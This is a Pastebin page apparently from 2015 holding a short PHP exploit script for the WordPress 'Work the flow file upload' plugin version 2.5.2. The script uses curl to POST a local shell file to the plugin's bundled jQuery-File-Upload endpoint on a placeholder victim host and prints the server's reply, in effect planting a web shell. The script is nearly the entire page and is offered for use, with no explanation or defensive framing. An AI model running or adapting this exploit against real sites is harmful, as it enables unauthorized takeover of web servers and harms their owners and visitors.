CaFc_Versace

Exploit WordPress Work the flow file upload 2.5.2

Apr 15th, 2015
745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.66 KB | None | 0 0
  1. <?php
  2.     /*
  3.         https://m2.facebook.com/groups/381317488636346?view=permalink&id=628811563886936
  4.         --
  5.         [email protected]
  6.     */
  7.  
  8.     $yuerel = 'http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php'; // Target
  9.     $pail = realpath('./sbh.php'); // Shell
  10.  
  11.     $data = array(
  12.         'action' => 'upload',
  13.         'files'=> '@'.$pail
  14.     );
  15.  
  16.     $hajar = curl_init();
  17.     curl_setopt($hajar, CURLOPT_URL, $yuerel);
  18.     curl_setopt($hajar, CURLOPT_POST, 1);
  19.     curl_setopt($hajar, CURLOPT_POSTFIELDS, $data);
  20.     curl_setopt($hajar, CURLOPT_RETURNTRANSFER, 1);
  21.    
  22.     $hasil = curl_exec($hajar);
  23.     curl_close($hajar);
  24.     echo $hasil;
  25. ?>
Advertisement
Add Comment
Please, Sign In to add comment